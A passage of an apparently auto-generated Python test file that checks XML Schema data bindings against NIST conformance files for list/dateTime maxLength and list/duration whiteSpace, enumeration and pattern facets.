instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-3-3.xml",
class_name="NistschemaSvIvListDateTimeMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_2_nistxml_sv_iv_list_date_time_max_length_3_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-3.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-3-4.xml",
class_name="NistschemaSvIvListDateTimeMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_2_nistxml_sv_iv_list_date_time_max_length_3_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-3.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-3-5.xml",
class_name="NistschemaSvIvListDateTimeMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_1_nistxml_sv_iv_list_date_time_max_length_2_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-2-1.xml",
class_name="NistschemaSvIvListDateTimeMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_1_nistxml_sv_iv_list_date_time_max_length_2_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-2-2.xml",
class_name="NistschemaSvIvListDateTimeMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_1_nistxml_sv_iv_list_date_time_max_length_2_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-2-3.xml",
class_name="NistschemaSvIvListDateTimeMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_1_nistxml_sv_iv_list_date_time_max_length_2_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-2-4.xml",
class_name="NistschemaSvIvListDateTimeMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_1_nistxml_sv_iv_list_date_time_max_length_2_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-2-5.xml",
class_name="NistschemaSvIvListDateTimeMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_nistxml_sv_iv_list_date_time_max_length_1_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-1-1.xml",
class_name="NistschemaSvIvListDateTimeMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_nistxml_sv_iv_list_date_time_max_length_1_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-1-2.xml",
class_name="NistschemaSvIvListDateTimeMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_nistxml_sv_iv_list_date_time_max_length_1_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-1-3.xml",
class_name="NistschemaSvIvListDateTimeMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_nistxml_sv_iv_list_date_time_max_length_1_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-1-4.xml",
class_name="NistschemaSvIvListDateTimeMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_nistxml_sv_iv_list_date_time_max_length_1_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-1-5.xml",
class_name="NistschemaSvIvListDateTimeMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_white_space_nistxml_sv_iv_list_duration_white_space_1_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-whiteSpace-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListDurationWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_white_space_nistxml_sv_iv_list_duration_white_space_1_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-whiteSpace-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListDurationWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_white_space_nistxml_sv_iv_list_duration_white_space_1_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-whiteSpace-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListDurationWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_white_space_nistxml_sv_iv_list_duration_white_space_1_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-whiteSpace-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListDurationWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_white_space_nistxml_sv_iv_list_duration_white_space_1_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-whiteSpace-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListDurationWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_4_nistxml_sv_iv_list_duration_enumeration_5_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-5-1.xml",
class_name="NistschemaSvIvListDurationEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_4_nistxml_sv_iv_list_duration_enumeration_5_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-5-2.xml",
class_name="NistschemaSvIvListDurationEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_4_nistxml_sv_iv_list_duration_enumeration_5_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-5-3.xml",
class_name="NistschemaSvIvListDurationEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_4_nistxml_sv_iv_list_duration_enumeration_5_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-5-4.xml",
class_name="NistschemaSvIvListDurationEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_4_nistxml_sv_iv_list_duration_enumeration_5_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-5-5.xml",
class_name="NistschemaSvIvListDurationEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_3_nistxml_sv_iv_list_duration_enumeration_4_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-4-1.xml",
class_name="NistschemaSvIvListDurationEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_3_nistxml_sv_iv_list_duration_enumeration_4_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-4-2.xml",
class_name="NistschemaSvIvListDurationEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_3_nistxml_sv_iv_list_duration_enumeration_4_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-4-3.xml",
class_name="NistschemaSvIvListDurationEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_3_nistxml_sv_iv_list_duration_enumeration_4_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-4-4.xml",
class_name="NistschemaSvIvListDurationEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_3_nistxml_sv_iv_list_duration_enumeration_4_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-4-5.xml",
class_name="NistschemaSvIvListDurationEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_2_nistxml_sv_iv_list_duration_enumeration_3_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-3-1.xml",
class_name="NistschemaSvIvListDurationEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_2_nistxml_sv_iv_list_duration_enumeration_3_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-3-2.xml",
class_name="NistschemaSvIvListDurationEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_2_nistxml_sv_iv_list_duration_enumeration_3_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-3-3.xml",
class_name="NistschemaSvIvListDurationEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_2_nistxml_sv_iv_list_duration_enumeration_3_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-3-4.xml",
class_name="NistschemaSvIvListDurationEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_2_nistxml_sv_iv_list_duration_enumeration_3_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-3-5.xml",
class_name="NistschemaSvIvListDurationEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_1_nistxml_sv_iv_list_duration_enumeration_2_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-2-1.xml",
class_name="NistschemaSvIvListDurationEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_1_nistxml_sv_iv_list_duration_enumeration_2_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-2-2.xml",
class_name="NistschemaSvIvListDurationEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_1_nistxml_sv_iv_list_duration_enumeration_2_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-2-3.xml",
class_name="NistschemaSvIvListDurationEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_1_nistxml_sv_iv_list_duration_enumeration_2_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-2-4.xml",
class_name="NistschemaSvIvListDurationEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_1_nistxml_sv_iv_list_duration_enumeration_2_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-2-5.xml",
class_name="NistschemaSvIvListDurationEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_nistxml_sv_iv_list_duration_enumeration_1_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-1-1.xml",
class_name="NistschemaSvIvListDurationEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_nistxml_sv_iv_list_duration_enumeration_1_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-1-2.xml",
class_name="NistschemaSvIvListDurationEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_nistxml_sv_iv_list_duration_enumeration_1_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-1-3.xml",
class_name="NistschemaSvIvListDurationEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_nistxml_sv_iv_list_duration_enumeration_1_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-1-4.xml",
class_name="NistschemaSvIvListDurationEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_enumeration_nistxml_sv_iv_list_duration_enumeration_1_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-enumeration-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-enumeration-1-5.xml",
class_name="NistschemaSvIvListDurationEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_4_nistxml_sv_iv_list_duration_pattern_5_1(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P17\d\dY\d4M\d9DT\d4H\d0M\d8S P\d\d77Y\d0M\d1DT\d8H2\dM\d4S
P17\d\dY0\dM1\dDT\d1H5\dM\d6S P\d\d90Y0\dM\d6DT\d1H5\dM5\dS
P19\d\dY\d8M2\dDT\d4H\d6M1\dS P20\d\dY0\dM0\dDT1\dH\d5M\d3S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-5-1.xml",
class_name="NistschemaSvIvListDurationPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_4_nistxml_sv_iv_list_duration_pattern_5_2(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P17\d\dY\d4M\d9DT\d4H\d0M\d8S P\d\d77Y\d0M\d1DT\d8H2\dM\d4S
P17\d\dY0\dM1\dDT\d1H5\dM\d6S P\d\d90Y0\dM\d6DT\d1H5\dM5\dS
P19\d\dY\d8M2\dDT\d4H\d6M1\dS P20\d\dY0\dM0\dDT1\dH\d5M\d3S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-5-2.xml",
class_name="NistschemaSvIvListDurationPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_4_nistxml_sv_iv_list_duration_pattern_5_3(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P17\d\dY\d4M\d9DT\d4H\d0M\d8S P\d\d77Y\d0M\d1DT\d8H2\dM\d4S
P17\d\dY0\dM1\dDT\d1H5\dM\d6S P\d\d90Y0\dM\d6DT\d1H5\dM5\dS
P19\d\dY\d8M2\dDT\d4H\d6M1\dS P20\d\dY0\dM0\dDT1\dH\d5M\d3S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-5-3.xml",
class_name="NistschemaSvIvListDurationPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_4_nistxml_sv_iv_list_duration_pattern_5_4(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P17\d\dY\d4M\d9DT\d4H\d0M\d8S P\d\d77Y\d0M\d1DT\d8H2\dM\d4S
P17\d\dY0\dM1\dDT\d1H5\dM\d6S P\d\d90Y0\dM\d6DT\d1H5\dM5\dS
P19\d\dY\d8M2\dDT\d4H\d6M1\dS P20\d\dY0\dM0\dDT1\dH\d5M\d3S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-5-4.xml",
class_name="NistschemaSvIvListDurationPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_4_nistxml_sv_iv_list_duration_pattern_5_5(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P17\d\dY\d4M\d9DT\d4H\d0M\d8S P\d\d77Y\d0M\d1DT\d8H2\dM\d4S
P17\d\dY0\dM1\dDT\d1H5\dM\d6S P\d\d90Y0\dM\d6DT\d1H5\dM5\dS
P19\d\dY\d8M2\dDT\d4H\d6M1\dS P20\d\dY0\dM0\dDT1\dH\d5M\d3S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-5-5.xml",
class_name="NistschemaSvIvListDurationPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_3_nistxml_sv_iv_list_duration_pattern_4_1(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d34Y0\dM\d7DT1\dH3\dM\d3S P18\d\dY0\dM1\dDT\d2H1\dM0\dS
P18\d\dY1\dM\d3DT\d6H\d7M4\dS P17\d\dY1\dM\d0DT\d8H\d5M\d0S
P\d\d55Y0\dM\d5DT1\dH\d4M1\dS P\d\d22Y\d3M1\dDT1\dH1\dM\d3S
P\d\d14Y1\dM\d9DT\d8H5\dM1\dS P\d\d44Y0\dM\d3DT0\dH\d1M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-4-1.xml",
class_name="NistschemaSvIvListDurationPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_3_nistxml_sv_iv_list_duration_pattern_4_2(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d34Y0\dM\d7DT1\dH3\dM\d3S P18\d\dY0\dM1\dDT\d2H1\dM0\dS
P18\d\dY1\dM\d3DT\d6H\d7M4\dS P17\d\dY1\dM\d0DT\d8H\d5M\d0S
P\d\d55Y0\dM\d5DT1\dH\d4M1\dS P\d\d22Y\d3M1\dDT1\dH1\dM\d3S
P\d\d14Y1\dM\d9DT\d8H5\dM1\dS P\d\d44Y0\dM\d3DT0\dH\d1M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-4-2.xml",
class_name="NistschemaSvIvListDurationPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_3_nistxml_sv_iv_list_duration_pattern_4_3(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d34Y0\dM\d7DT1\dH3\dM\d3S P18\d\dY0\dM1\dDT\d2H1\dM0\dS
P18\d\dY1\dM\d3DT\d6H\d7M4\dS P17\d\dY1\dM\d0DT\d8H\d5M\d0S
P\d\d55Y0\dM\d5DT1\dH\d4M1\dS P\d\d22Y\d3M1\dDT1\dH1\dM\d3S
P\d\d14Y1\dM\d9DT\d8H5\dM1\dS P\d\d44Y0\dM\d3DT0\dH\d1M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-4-3.xml",
class_name="NistschemaSvIvListDurationPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_pattern_3_nistxml_sv_iv_list_duration_pattern_4_4(mode, save_output, output_format):
r"""
Type list/duration is restricted by facet pattern with value
P\d\d34Y0\dM\d7DT1\dH3\dM\d3S P18\d\dY0\dM1\dDT\d2H1\dM0\dS
P18\d\dY1\dM\d3DT\d6H\d7M4\dS P17\d\dY1\dM\d0DT\d8H\d5M\d0S
P\d\d55Y0\dM\d5DT1\dH\d4M1\dS P\d\d22Y\d3M1\dDT1\dH1\dM\d3S
P\d\d14Y1\dM\d9DT\d8H5\dM1\dS P\d\d44Y0\dM\d3DT0\dH\d1M\d1S.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-pattern-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-pattern-4-4.xml",
